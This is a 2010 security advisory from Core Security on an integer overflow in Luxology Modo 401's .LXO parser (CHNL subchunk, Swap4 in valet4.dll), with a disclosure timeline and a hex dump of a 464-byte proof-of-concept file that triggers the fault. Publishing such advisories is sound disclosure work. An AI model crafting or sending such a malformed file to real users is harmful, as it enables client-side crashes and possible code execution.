Luxology Modo 401 .LXO Integer Overflow

Advisory ID Internal
CORE-2009-0913

1. Advisory Information

Title: Luxology Modo 401 .LXO Integer Overflow
Advisory Id: CORE-2009-0913
Date published: 2010-03-02
Date of last update: 2010-03-02
Vendors contacted: Luxology LLC
Release mode: User release

2. Vulnerability Information

Class: Failure to Sanitize Data into a Different Plane [CWE-74]
Impact: Code execution
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 38460
CVE Name: CVE-2010-0766

3. Vulnerability Description

Modo 401[2] is an advanced polygon, subdivision surface, modeling, sculpting, 3D painting, animation and rendering package developed by Luxology LLC [3].

The function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness. In the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception

An attacker can take full control of the machine where Luxology Modo 401 is installed by sending a specially crafted .LXO file and enticing the user to open it.

4. Vulnerable packages

  • Luxology Modo 401 - Windows
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information.

To determine if a .LXO is suspicious you could parse the content of the file searching for CHNL subchunk and validate its length.

6. Credits

This vulnerability was discovered and researched by Diego Juarez and Nadia Rodríguez from Core Security Technologies during Bugweek 2009 [1].

7. Technical Description / Proof of Concept Code

The LXO file format is derived from the metaformat for binary files described in "EA IFF 85 Standard for Interchange Format Files."[4] Mainly consisting of chunks and subchunks.

While parsing subchunks, the function Swap4 in valet4.dll takes a length and an input buffer and proceeds to reverse DWORDs in the input buffer for proper endianness.

A vulnerability was observed in the case of the CHNL subchunk in which passing an invalid length to the Swap4 function would reverse every DWORD in the stack, both reversing SEH pointer near the bottom of the stack AND causing an exception (ie: forcing a call to the now reversed SEH pointer).

We belive this condition may be exploitable in some scenarios as long as the address of function __except_handler3 in kernel32.dll has a least significant byte < 0x7F.

Proof of concept: Here is a 464 bytes long LXO file demonstrating the issue

00000000: 46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53 FORM ?-LXOBTAGS 00000010: 00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52 ?Default LAYR 00000020: 00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00 ? 00000030: 00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E layername PN 00000040: 54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00 TS `+ + + 00000050: 00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00 ? + + ? 00000060: 00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00 + ? + + 00000070: 00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00 ? + ? + 00000080: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 00000090: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ? + ? 000000A0: 00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00 ? BBOX ?+ 000000B0: 00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00 + + ? ? 000000C0: 00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41 ? POLS @FA 000000D0: 43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00 CE ? ? ? ? ? 000000E0: 00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02 ? ? ? ? ? ? ? ? 000000F0: 00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03 ? ? ? ? ? ? 00000100: 00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54 ? ? ? ? ?PT 00000110: 41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01 AG ?SURF ? 00000120: 00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05 ? ? ? ? 00000130: 00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C SURF *Defaul 00000140: 74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48 t COLR ??H+è?H 00000150: C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80 +è?H+è DIFF ??Ç 00000160: 00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79 ITEM dpoly 00000170: 52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49 Render ? ?LI 00000180: 4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03 NK ?parent ? 00000190: 00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C CHNV "ambCol 000001A0: 6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00 or ? ?R @ 000001B0: 47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C G ?Ç B ?Ç CHNL 000001C0: 00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21 ?bughere ?pnx!

 

8. Report Timeline

  • 2009-11-06: Core completes the support form trying to reach a security contact
  • 2009-11-13: Luxology LLC support team doesn't respond any mail. Core contacts CERT trying to reach a valid security contact at Luxology LLC.
  • 2009-11-16: CERT acknowledge the comunication, and Core reschedule the advisory to November 30th, 2009 based on CERT recomendations.
  • 2010-03-01: No response from Luxology LLC.
  • 2010-03-02: The advisory CORE-2009-0913 is published.

9. References

[1] The authors participated in Core Bugweek 2009 as members of the team "Gimbal Lock N Load".
[2] http://www.luxology.com/modo/
[3] http://www.luxology.com/
[4] http://www.martinreddy.net/gfx/2d/IFF.txt

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11. About Core Security 

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12. Disclaimer

The contents of this advisory are copyright (c) 2010 Core Security and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.